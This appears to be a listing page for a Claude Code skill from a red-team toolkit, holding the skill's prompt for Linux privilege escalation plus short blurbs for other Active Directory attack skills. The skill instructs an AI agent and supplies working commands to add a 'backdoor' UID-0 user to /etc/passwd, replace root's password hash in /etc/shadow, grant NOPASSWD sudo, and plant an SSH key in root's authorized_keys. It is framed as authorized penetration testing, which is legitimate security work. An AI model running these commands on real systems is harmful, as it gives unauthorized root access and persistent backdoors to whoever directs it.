acl-abuse
Exploits misconfigured Active Directory ACLs for privilege escalation. Covers GenericAll, GenericWrite, WriteDACL, WriteOwner, ForceChangePassword, targeted…
Exploit writable critical files, NFS misconfigurations, shared library hijacking, and privileged group membership (docker, lxd, disk, adm, video, staff) for Linux privilege escalation. Use when a user belongs to a privileged group or has write access to sensitive files or paths.
$ npx -y skills add blacklanternsecurity/red-run --skill linux-file-path-abuse --agent claude-codeHow it fires
How this skill gets triggered: by you, by Claude, or both.
/linux-file-path-abuseContext preview
The summary Claude sees to decide when to auto-load this skill.
Exploit writable critical files, NFS misconfigurations, shared library hijacking, and privileged group membership (docker, lxd, disk, adm, video, staff) for Linux privilege escalation. Use when a user belongs to a privileged group or has write access to sensitive files or paths.
name: linux-file-path-abuse description: > Exploit writable critical files, NFS misconfigurations, shared library hijacking, and privileged group membership (docker, lxd, disk, adm, video, staff) for Linux privilege escalation. Use when a user belongs to a privileged group or has write access to sensitive files or paths. keywords: - writable passwd - nfs privesc - no_root_squash - library hijacking - ld.so.conf - rpath abuse - docker group escape - docker group privilege escalation - lxd group privesc - lxd group privilege escalation - lxc group - disk group debugfs - privileged group membership - path hijack - symlink attack - profile injection - writable shadow - ldconfig tools: - gcc - readelf - ldd - strace - docker - lxc - debugfs - showmount - ldconfig opsec: medium
You are helping a penetration tester exploit writable files, filesystem misconfigurations, shared library loading, and privileged group membership for privilege escalation. All testing is under explicit written authorization.
Check for `./engagement/` directory. If absent, proceed without logging.
When an engagement directory exists:
descriptive filenames (e.g., `sqli-users-dump.txt`, `ssrf-aws-creds.json`).
Call `get_state_summary()` from the state MCP server to read current engagement state. Use it to:
Your return summary must include:
group membership, writable PATH directory, or writable profile script
Determine which file/path/group vectors are available. If coming from **linux-discovery**, the routing should specify the vector. Otherwise, enumerate:
# Writable critical files ls -la /etc/passwd /etc/shadow /etc/sudoers 2>/dev/null ls -la /etc/sudoers.d/ 2>/dev/null test -w /etc/passwd && echo "WRITABLE: /etc/passwd" test -w /etc/shadow && echo "WRITABLE: /etc/shadow" test -w /etc/sudoers && echo "WRITABLE: /etc/sudoers" # NFS exports cat /etc/exports 2>/dev/null showmount -e localhost 2>/dev/null mount | grep nfs # Group membership id groups # Writable PATH directories echo $PATH | tr ':' '\n' | while read d; do [ -w "$d" ] && echo "WRITABLE PATH: $d"; done # Library loading cat /etc/ld.so.conf 2>/dev/null ls -la /etc/ld.so.conf.d/ 2>/dev/null # Profile scripts ls -la ~/.bashrc ~/.bash_profile ~/.profile 2>/dev/null ls -la /etc/profile /etc/profile.d/ 2>/dev/null ls -la /root/.bashrc /root/.profile 2>/dev/null
**Decision tree** — go to the first matching step:
| Finding | Go to | |---------|-------| | Writable /etc/passwd | Step 2 | | Writable /etc/shadow | Step 2 | | Writable /etc/sudoers or /etc/sudoers.d/ | Step 2 | | NFS no_root_squash | Step 3 | | docker group | Step 4 | | lxd/lxc group | Step 5 | | disk group | Step 6 | | Missing .so on SUID binary | Step 7 | | Writable ld.so.conf or ld.so.conf.d/ | Step 7 | | RPATH/RUNPATH with writable dir | Step 7 | | Writable PATH directory + root script using relative binary | Step 8 | | Writable profile scripts (.bashrc, /etc/profile.d/) | Step 9 | | Writable SSH authorized_keys for root | Step 2 |
# Check current format head -3 /etc/passwd # Generate password hash (pick one) openssl passwd -1 "password123" # MD5 ($1$) openssl passwd -6 "password123" # SHA-512 ($6$) — preferred # Or passwordless — just set 'x' and rely on su without auth (some systems) # Add backdoor root user echo 'backdoor:$6$salt$hash:0:0::/root:/bin/bash' >> /etc/passwd # Switch to new user su backdoor # Enter: password123 # Verify id
**Alternative — modify existing user to UID 0:**
# Change your user's UID to 0 (destructive — breaks your normal account) sed -i 's/^youruser:x:1000:1000:/youruser:x:0:0:/' /etc/passwd su youruser
# Generate new hash openssl passwd -6 "newrootpass" # Replace root's hash (backup first) # Format: root:$6$salt$hash:days_since_epoch:min:max:warn:inactive:expire: sed -i "s|^root:[^:]*:|root:\$6\$salt\$HASH_HERE:|" /etc/shadow su root # Enter: newrootpass
# IMPORTANT: invalid sudoers breaks sudo for everyone — validate syntax # Add NOPASSWD entry echo "youruser ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers # Validate (if visudo available) visudo -c # Use it sudo su
**Writable /etc/sudoers.d/ directory:**
echo "youruser ALL=(ALL) NOPASSWD: ALL" > /etc/sudoers.d/privesc chmod 440 /etc/sudoers.d/privesc sudo su
# Generate keypair on attacker (if needed) ssh-keygen -t ed25519 -f /tmp/privesc_key -N "" # Write to root's authorized_keys mkdir -p /root/.ssh echo "ssh-ed25519 AAAA...key... privesc" >> /root/.ssh/authorized_keys chmod 700 /root/.ssh chmod 600 /root/.ssh/authorized_keys # Connect ssh -i /tmp/privesc_key root@localhost
**OPSEC notes:**
Security assessment toolkit for Claude Code. red-run combines skills, MCP servers, and Claude Code agent teams with routing logic that guides Claude and the operator through the phases of a security assessment — recon, initial access, lateral movement,
Exploits misconfigured Active Directory ACLs for privilege escalation. Covers GenericAll, GenericWrite, WriteDACL, WriteOwner, ForceChangePassword, targeted…
Enumerates Active Directory domains and maps attack surface for penetration testing.
Establishes persistent access in Active Directory environments after domain compromise. Covers DCShadow (rogue DC attribute modification), Skeleton Key (LSASS…
Exploits ADCS through ACL abuse on templates/CA objects and NTLM relay to enrollment endpoints. Covers ESC4 (template ACL → modify to ESC1), ESC5 (PKI object…
Establishes persistence and exploits weak certificate mapping in AD CS. Covers ESC9 (no security extension), ESC10 (weak certificate mapping), ESC12-15…
Exploits misconfigured AD CS certificate templates to impersonate any domain user via SAN manipulation or enrollment agent abuse. Covers ESC1 (enrollee…